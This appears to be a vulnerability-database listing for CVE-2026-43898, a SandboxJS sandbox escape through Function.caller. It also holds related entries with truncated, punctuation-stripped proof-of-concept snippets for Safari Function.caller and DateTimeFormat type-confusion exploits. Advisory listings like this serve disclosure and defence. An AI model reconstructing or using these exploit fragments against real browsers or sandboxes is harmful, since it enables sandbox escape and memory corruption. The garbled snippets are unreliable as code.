CVE-2026-43898

SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked...

SandboxJS 安全漏洞

SandboxJS is a security assessment tool developed by nyariv. Versions of SandboxJS prior to 0.9.6 contained a security vulnerability. This vulnerability stemmed from functions defined in the sandbox that exposed Function.caller, potentially allowing sandbox-constructed code to restore internal...

CVE-2026-43898: Improper Control of Generation of Code

SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked...

Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode Exploit

Exploit for multiple platform in category dos / poc var q; function g //print"in g"; //printarguments.caller; //printg.caller; q = g.caller; //printg.caller; return 7; var a = 1, 2, 3;...

Safari Browser: Builtin JavaScript allows Function.caller to be used in strict mode(CVE-2017-2446)

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call the Function. caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the...

Apple Safari - DateTimeFormat.format Type Confusion Exploit

Exploit for multiple platform in category dos / poc var date = new DateDate.UTC2012, 11, 20, 3, 0, 0; var i = new Intl.DateTimeFormat; //printi; var q; function f //print"in f"; //printf.caller; q = f.caller; return 10; try i.formatvalueOf : f; catche //print"problem"; //printq; q.call0x77777777;...

Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode

Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode var q; function g //print"in g"; //printarguments.caller; //printg.caller; q = g.caller; //printg.caller; return 7; var a = 1, 2, 3; Object.defineProperty Array.prototype, "...

Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode

var q; function g //print"in g"; //printarguments.caller; //printg.caller; q = g.caller; //printg.caller; return 7; var a = 1, 2, 3; Object.defineProperty Array.prototype, "1", get : g ; var a = 1, 2, 3; a.length = 4; Object.definePropertyArray.pro...

Apple Safari - DateTimeFormat.format Type Confusion

Apple Safari - DateTimeFormat.format Type Confusion var date = new DateDate.UTC2012, 11, 20, 3, 0, 0; var i = new Intl.DateTimeFormat; //printi; var q; function f //print"in f"; //printf.caller; q = f.caller; return 10; try i.formatvalueOf : f; catche //print"problem"; //printq; q.call0x77777777;...